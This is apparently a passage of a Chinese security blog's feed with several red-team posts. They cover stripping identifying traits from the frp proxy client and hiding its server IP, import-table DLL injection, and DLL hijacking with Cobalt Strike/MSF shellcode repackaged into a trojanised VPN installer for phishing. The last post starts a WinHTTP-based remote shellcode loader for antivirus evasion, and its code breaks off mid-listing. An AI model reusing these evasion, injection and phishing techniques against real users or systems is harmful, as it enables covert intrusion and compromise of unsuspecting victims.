class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">runClient</span><span class="params">(cfgFilePath <span class="keyword">string</span>)</span> <span class="params">(err error)</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> content <span class="keyword">string</span></span><br><span class="line"><span class="comment">//content, err = config.GetRenderedConfFromFile(cfgFilePath)</span></span><br><span class="line">content, err = fileContent, <span class="literal">nil</span></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> err</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行效果如下：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1592706307411.png" alt="1592706307411"></p><h4><span id="frpcini的ip通过参数传入">frpc.ini的ip通过参数传入</span></h4><p>Golang语法规则：</p><ul><li><p>golang的命名推荐使用驼峰命名法，必须以一个字母（Unicode字母）或下划线开头，后面可以跟任意数量的字母、数字或下划线。</p></li><li><p>golang中根据首字母的大小写来确定可以访问的权限。无论是方法名、常量、变量名还是结构体的名称，如果首字母大写，则可以被其他的包访问；如果首字母小写，则只能在本包中使用</p></li></ul><p>不用上面的直接增加定义的方法，在<code>cmd/frpc/sub/root.go</code>写一个函数。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">getFileContent</span><span class="params">(ip <span class="keyword">string</span>,port <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> content <span class="keyword">string</span> = <span class="string">`[common]</span></span><br><span class="line"><span class="string">    server_addr = `</span> + ip + <span class="string">`</span></span><br><span class="line"><span class="string">    server_port = `</span> + port + <span class="string">`</span></span><br><span class="line"><span class="string">tls_enable = true</span></span><br><span class="line"><span class="string">    privilege_token = pentest999</span></span><br><span class="line"><span class="string">    [http_proxy]</span></span><br><span class="line"><span class="string">    type = tcp</span></span><br><span class="line"><span class="string">    remote_port = 23333</span></span><br><span class="line"><span class="string">    plugin = socks5</span></span><br><span class="line"><span class="string">`</span></span><br><span class="line">fileContent = content</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后在<code>cmd\frpc\root.go</code>中定义传参</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">init</span><span class="params">()</span></span> &#123;</span><br><span class="line">rootCmd.PersistentFlags().StringVarP(&amp;cfgFile, <span class="string">"config"</span>, <span class="string">"c"</span>, <span class="string">"./frpc.ini"</span>, <span class="string">"config file of frpc"</span>)</span><br><span class="line">rootCmd.PersistentFlags().BoolVarP(&amp;showVersion, <span class="string">"version"</span>, <span class="string">"v"</span>, <span class="literal">false</span>, <span class="string">"version of frpc"</span>)</span><br><span class="line">rootCmd.PersistentFlags().StringVarP(&amp;ip, <span class="string">"server_addr"</span>, <span class="string">"t"</span>, <span class="string">""</span>, <span class="string">"server_addr"</span>)</span><br><span class="line">rootCmd.PersistentFlags().StringVarP(&amp;port, <span class="string">"server_port"</span>, <span class="string">"p"</span>, <span class="string">""</span>, <span class="string">"server_port"</span>)</span><br><span class="line">kcpDoneCh = <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">struct</span>&#123;&#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改<code>runClient</code>函数</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">runClient</span><span class="params">(cfgFilePath <span class="keyword">string</span>,ip <span class="keyword">string</span>,port <span class="keyword">string</span>)</span> <span class="params">(err error)</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> content <span class="keyword">string</span></span><br><span class="line">getFileContent(ip,port)</span><br><span class="line"><span class="comment">//scontent, err = config.GetRenderedConfFromFile(cfgFilePath)</span></span><br><span class="line">content, err = fileContent, <span class="literal">nil</span></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> err</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在如下代码中调用<code>runClient()</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> rootCmd = &amp;cobra.Command&#123;</span><br><span class="line">Use:   <span class="string">"frpc"</span>,</span><br><span class="line">Short: <span class="string">"frpc is the client of frp (https://github.com/fatedier/frp)"</span>,</span><br><span class="line">RunE: <span class="function"><span class="keyword">func</span><span class="params">(cmd *cobra.Command, args []<span class="keyword">string</span>)</span> <span class="title">error</span></span> &#123;</span><br><span class="line"><span class="keyword">if</span> showVersion &#123;</span><br><span class="line">fmt.Println(version.Full())</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Do not show command usage here.</span></span><br><span class="line">err := runClient(cfgFile,ip,port)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Println(err)</span><br><span class="line">os.Exit(<span class="number">1</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改完上面的代码，就可以用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frpc.exe -t 1.1.1.1 -p 2333</span><br></pre></td></tr></table></figure><p>来启动frpc.exe了。</p><p>这种在Windows下不会暴露远程ip，但是在linux下还是会暴露的。</p><p>所以可以直接加一些加密啥的，<code>-t</code>参数传入ip加密后的地址，然后在源码里加一个解密的步骤即可。</p><p>同样也可以将ip地址以十进制或十六进制传入，然后在程序里转换会<code>1.1.1.1</code>格式。</p><p>运行效果如下：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1592706410793.png" alt="1592706410793"></p><h3><span id="编译打包">编译打包</span></h3><p>frp整个项目编译打包其实也挺简单的，首先保证go和gcc环境都安装好。</p><p>然后修改一下目录下带的<code>package.sh</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># compile for version</span></span><br><span class="line">make</span><br><span class="line"><span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"make error"</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">frp_version=`./bin/frps --version`</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"build version: <span class="variable">$frp_version</span>"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># cross_compiles</span></span><br><span class="line">make -f ./Makefile.cross-compiles</span><br><span class="line"></span><br><span class="line">rm -rf ./release/packages</span><br><span class="line">mkdir -p ./release/packages</span><br><span class="line"></span><br><span class="line">os_all=<span class="string">'linux windows darwin freebsd'</span></span><br><span class="line">arch_all=<span class="string">'386 amd64 arm arm64 mips64 mips64le mips mipsle'</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> ./release</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> os <span class="keyword">in</span> <span class="variable">$os_all</span>; <span class="keyword">do</span></span><br><span class="line">    <span class="keyword">for</span> arch <span class="keyword">in</span> <span class="variable">$arch_all</span>; <span class="keyword">do</span></span><br><span class="line">        frp_dir_name=<span class="string">"frp_<span class="variable">$&#123;frp_version&#125;</span>_<span class="variable">$&#123;os&#125;</span>_<span class="variable">$&#123;arch&#125;</span>"</span></span><br><span class="line">        frp_path=<span class="string">"./packages/frp_<span class="variable">$&#123;frp_version&#125;</span>_<span class="variable">$&#123;os&#125;</span>_<span class="variable">$&#123;arch&#125;</span>"</span></span><br><span class="line">        <span class="built_in">cd</span> ..</span><br><span class="line">        rm -rf <span class="variable">$&#123;frp_path&#125;</span></span><br><span class="line">    <span class="keyword">done</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> -</span><br></pre></td></tr></table></figure><p>然后运行这个bash脚本，就可以交叉编译得到各种操作系统环境下的应用程序了。</p><h3><span id="github">Github</span></h3><p>没有环境或无法正常编译可直接到github下载</p><p><a href="https://github.com/uknowsec/frpModify" target="_blank" rel="noopener">https://github.com/uknowsec/frpModify</a></p><h3><span id="结语">结语</span></h3><p>通读了一下frpc读取配置文件和认证过程两部分的代码，然后再了解了<a href="github.com/spf13/cobra">cobra</a>库的用法，实现简单的去特征，frpc无参和传参版的改造。后面的目标会继续研究frpc减小体积部分的改造。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;frp无疑是众多代理工具中，用得最舒服的了。但是他还是存在几个缺点的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.ini配置文件泄露服务器信息。&lt;/li&gt;
&lt;li&gt;&lt;p&gt;非TLS特征明显&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;g
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>输入表注入</title>
    <link href="https://uknowsec.cn/posts/notes/%E8%BE%93%E5%85%A5%E8%A1%A8%E6%B3%A8%E5%85%A5.html"/>
    <id>https://uknowsec.cn/posts/notes/输入表注入.html</id>
    <published>2020-06-12T19:17:17.000Z</published>
    <updated>2020-06-12T19:06:40.838Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="前言">前言</span></h3><p>​      上篇没有讲拿破轮胎大佬工具的原理，同时工具生成的DLL目前不是免杀的。所以这里讲一下工具的原理。实际上，注入工具会将输入的shellcode进行一个处理，然后将他写入到和<code>conf.inf</code>文件中，然后<code>wwwcomw.dll</code>可以看成一个shellcode加载器，这里就是分离免杀的原理。工具还帮我完成了修改输入表的步骤。然后我们只需要把<code>wwwcomw.dll</code>和<code>conf.inf</code>放置到exe运行目录即可。</p><h3><span id="输入表注入原理">输入表注入原理</span></h3><p>​      当Exe被加载时，系统会根据Exe输入表信息来加载需要用到的DLL,输入表注入的原理就是修改exe输入表，将自己的DLL添加到exe的导入表中，这样exe运行时可以将自己的DLL加载到exe的进程空间。</p><h3><span id="输入表注入">输入表注入</span></h3><p>DLL实例源码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">// dllmain.cpp : 定义 DLL 应用程序的入口点。</span><br><span class="line">#include &quot;pch.h&quot;</span><br><span class="line">#include &lt;windows.h&gt;</span><br><span class="line">#include &lt;iostream&gt;</span><br><span class="line">HANDLE My_hThread = NULL;</span><br><span class="line"></span><br><span class="line">DWORD  WINAPI  ceshi(LPVOID pParameter)</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    MessageBox(NULL, L&quot;Zero Team&quot;, L&quot;Zero team&quot;, MB_OK);</span><br><span class="line">    return 0;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">BOOL APIENTRY DllMain(HMODULE hModule,</span><br><span class="line">    DWORD  ul_reason_for_call,</span><br><span class="line">    LPVOID lpReserved</span><br><span class="line">)</span><br><span class="line">&#123;</span><br><span class="line">    switch (ul_reason_for_call)</span><br><span class="line">    &#123;</span><br><span class="line">    case DLL_PROCESS_ATTACH:</span><br><span class="line">        My_hThread = ::CreateThread(NULL, 0, &amp;ceshi, 0, 0, 0);</span><br><span class="line">        break;</span><br><span class="line">    case DLL_THREAD_ATTACH:</span><br><span class="line">    case DLL_THREAD_DETACH:</span><br><span class="line">    case DLL_PROCESS_DETACH:</span><br><span class="line">        break;</span><br><span class="line">    &#125;</span><br><span class="line">    return TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">extern&quot;C&quot; _declspec(dllexport) void test()</span><br><span class="line">&#123;</span><br><span class="line">    int a;</span><br><span class="line">    a = 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译如上代码，得到dll文件。</p><p>使用LordPe查看输出表，可以看到我们写的test函数。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591938826964.png" alt="1591938826964"></p><p>使用Stud_PE添加输入表，导入exe查看函数。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591939030535.png" alt="1591939030535"></p><p>添加新的输入表，选择DLL，选择函数，加入清单。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591939139072.png" alt="1591939139072"></p><p>将DLL放置到exe运行目录，运行exe。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591939196925.png" alt="1591939196925"></p><h3><span id="结语">结语</span></h3><p>​        对于该技术的研究仅限于在渗透测试或者钓鱼中的使用，所以没有太多的逆向原理知识部分。关于其他逆向原理知识和DLL处理方面，有兴趣的可以自己研究~</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;​      上篇没有讲拿破轮胎大佬工具的原理，同时工具生成的DLL目前不是免杀的。所以这里讲一下工具的原理。实际上，注入工具会将输入的shellcode进行一个处理，然后将他写入到和&lt;code&gt;conf.in
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>DLL劫持+重新制作安装包在钓鱼与反钓鱼的利用</title>
    <link href="https://uknowsec.cn/posts/notes/DLL%E5%8A%AB%E6%8C%81+%E9%87%8D%E6%96%B0%E5%88%B6%E4%BD%9C%E5%AE%89%E8%A3%85%E5%8C%85%E5%9C%A8%E9%92%93%E9%B1%BC%E4%B8%8E%E5%8F%8D%E9%92%93%E9%B1%BC%E7%9A%84%E5%88%A9%E7%94%A8.html"/>
    <id>https://uknowsec.cn/posts/notes/DLL劫持+重新制作安装包在钓鱼与反钓鱼的利用.html</id>
    <published>2020-06-11T14:17:17.000Z</published>
    <updated>2020-06-11T10:19:09.322Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="前言">前言</span></h3><p>在红队工作中，社工钓鱼会是最常见的攻击手段，同样蓝队工作中，蓝队可以通过反制红队获取加分。所以本文就简单说DLL劫持+重制安装包在钓鱼与反钓鱼中的利用。</p><h3><span id="钓鱼中的利用">钓鱼中的利用</span></h3><p>在钓鱼攻击中，我们可以使用这种DLL劫持+重制安装包的方法来进行钓鱼是非常有效的。我们可以通过一些软件更新等说辞去下发恶意的安装包，恶意的安装包的安装过程逼真，同时程序正常功能都可以完美的运行。更不会使目标怀疑。</p><h3><span id="反钓鱼中的利用">反钓鱼中的利用</span></h3><p>在蓝队可以利用此方法来反制红队，例如：我们可以在自己准备好的虚拟机中点击红队发送过来的钓鱼邮件。并在虚拟机中准备一些让红队比较感兴趣的东西。</p><p>例如下图中的已准备好的“VPN安装包“+“VPN账号密码”。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591860417627.png" alt="1591860417627"></p><p>当红队队员将这些安装包和账号密码传回自己本地进行安装并运行时，我们就可以成功的反控红队队员的机器了。</p><h3><span id="dll劫持重制安装包具体操作">DLL劫持+重制安装包具体操作</span></h3><h4><span id="dll劫持">DLL劫持</span></h4><p>这里可以用到拿破轮胎大佬写DLL注入工具</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591857292811.png" alt="1591857292811"></p><p>使用方法：</p><ol><li>输入cs或者msf生成shellcode生成免杀dll文件</li><li>添加需要劫持的软件或者dll</li><li>劫持过后会在运行目录生成一个Dll和inf配置文件</li><li>需要把两个文件放在被劫持的软件同目录下才可运行</li></ol><p>这里以某国产VPN为例：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591857458850.png" alt="1591857458850"></p><p>注入后，将wwwcomw.dll和conf.inf放到软件同目录下。</p><p>当运行软件时就能上线了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591857775627.png" alt="1591857775627"></p><h4><span id="重新制作安装包">重新制作安装包</span></h4><p>这里用到的工具是NSIS。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591858513031.png" alt="1591858513031"></p><p>制作过程就不写了，有兴趣的可以去百度找找使用说明。</p><p><a href="https://www.cnblogs.com/modou/p/3573772.html" target="_blank" rel="noopener">https://www.cnblogs.com/modou/p/3573772.html</a></p><p>成功打包</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591859259316.png" alt="1591859259316"></p><p>安装包制作效果</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591861324722.png" alt="1591861324722"></p><p>安装过程效果：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591861332658.png" alt="1591861332658"></p><p>安装完成后，可自动运行，并创建桌面快捷方式。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591861356475.png" alt="1591861356475"></p><p>运行后，成功上线</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1591861391762.png" alt="1591861391762"></p><h3><span id="总结">总结</span></h3><p>本文只是简单说下DLL劫持+重制安装包在钓鱼和反钓鱼中的利用，文中的工具和DLL可能存在不免杀和实战中的更多细节内容可自行解决~</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;在红队工作中，社工钓鱼会是最常见的攻击手段，同样蓝队工作中，蓝队可以通过反制红队获取加分。所以本文就简单说DLL劫持+重制安装包在钓鱼与反钓鱼中的利用。&lt;/p&gt;
&lt;h3&gt;&lt;span id=&quot;钓鱼中的利用&quot;&gt;钓鱼
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>ShellCode远程加载器改造计划</title>
    <link href="https://uknowsec.cn/posts/notes/ShellCode%E8%BF%9C%E7%A8%8B%E5%8A%A0%E8%BD%BD%E5%99%A8%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html"/>
    <id>https://uknowsec.cn/posts/notes/ShellCode远程加载器改造计划.html</id>
    <published>2020-06-01T14:17:17.000Z</published>
    <updated>2020-06-10T15:13:06.761Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="前言">前言</span></h3><p>shellcode加载器加载shellcode实现免杀上线，目前可能是使用最多的方法了。</p><p>现有的加载器也特别多，但是改造轮子的心总是在骚动，所以就开始了Shellcode远程加载器改造计划。</p><h3><span id="winhttp实现http请求">Winhttp实现HTTP请求</span></h3><p>所谓远程加载shellcode，第一部得实现远程的功能，这里用Winhttp实现http请求来获取我们文件服务器上的shellcode。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="built_in">string</span> <span class="title">GetShellcodeByDefault</span><span class="params">(<span class="built_in">string</span> strUrl)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">string</span> strHost = GetHost(strUrl);<span class="comment">//获取Host</span></span><br><span class="line">    <span class="built_in">string</span> strRequestStr = GetRequestStr(strUrl);<span class="comment">//获取请求路径</span></span><br><span class="line">    <span class="built_in">string</span> header = <span class="string">"Content-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n"</span>;</span><br><span class="line">    USES_CONVERSION;</span><br><span class="line">    LPCWSTR host = A2CW(strHost.c_str());</span><br><span class="line">    LPCWSTR requestStr = A2CW(strRequestStr.c_str());</span><br><span class="line">    <span class="comment">//Variables</span></span><br><span class="line">    DWORD dwSize = <span class="number">0</span>;</span><br><span class="line">    DWORD dwDownloaded = <span class="number">0</span>;</span><br><span class="line">    LPSTR pszOutBuffer;</span><br><span class="line">    <span class="built_in">vector</span> &lt;<span class="built_in">string</span>&gt;  vFileContent;</span><br><span class="line">    BOOL  bResults = FALSE;</span><br><span class="line"></span><br><span class="line">    HINTERNET  hSession = <span class="literal">NULL</span>,</span><br><span class="line">        hConnect = <span class="literal">NULL</span>,</span><br><span class="line">        hRequest = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="built_in">string</span> strHtml = <span class="string">""</span>;<span class="comment">// store the html code</span></span><br><span class="line">    hSession = WinHttpOpen(<span class="string">L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400"</span>,</span><br><span class="line">        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,</span><br><span class="line">        WINHTTP_NO_PROXY_NAME,</span><br><span class="line">        WINHTTP_NO_PROXY_BYPASS, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// Specify an HTTP server.</span></span><br><span class="line">    <span class="keyword">if</span> (hSession)</span><br><span class="line">        hConnect = WinHttpConnect(hSession, host,</span><br><span class="line">            INTERNET_DEFAULT_HTTP_PORT, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// Create an HTTP request handle.</span></span><br><span class="line">    <span class="keyword">if</span> (hConnect)</span><br><span class="line">        hRequest = WinHttpOpenRequest(hConnect, <span class="string">L"GET"</span>, requestStr,</span><br><span class="line">            <span class="literal">NULL</span>, WINHTTP_NO_REFERER,</span><br><span class="line">            <span class="literal">NULL</span>,</span><br><span class="line">            <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//Add HTTP header </span></span><br><span class="line">    LPCWSTR header1 = A2CW(header.c_str());</span><br><span class="line">    SIZE_T len = lstrlenW(header1);</span><br><span class="line">    WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Send a request.</span></span><br><span class="line">    <span class="keyword">if</span> (hRequest)</span><br><span class="line">        bResults = WinHttpSendRequest(hRequest,</span><br><span class="line">            WINHTTP_NO_ADDITIONAL_HEADERS,</span><br><span class="line">            <span class="number">0</span>, WINHTTP_NO_REQUEST_DATA, <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// End the request.</span></span><br><span class="line">    <span class="keyword">if</span> (bResults)</span><br><span class="line">        bResults = WinHttpReceiveResponse(hRequest, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    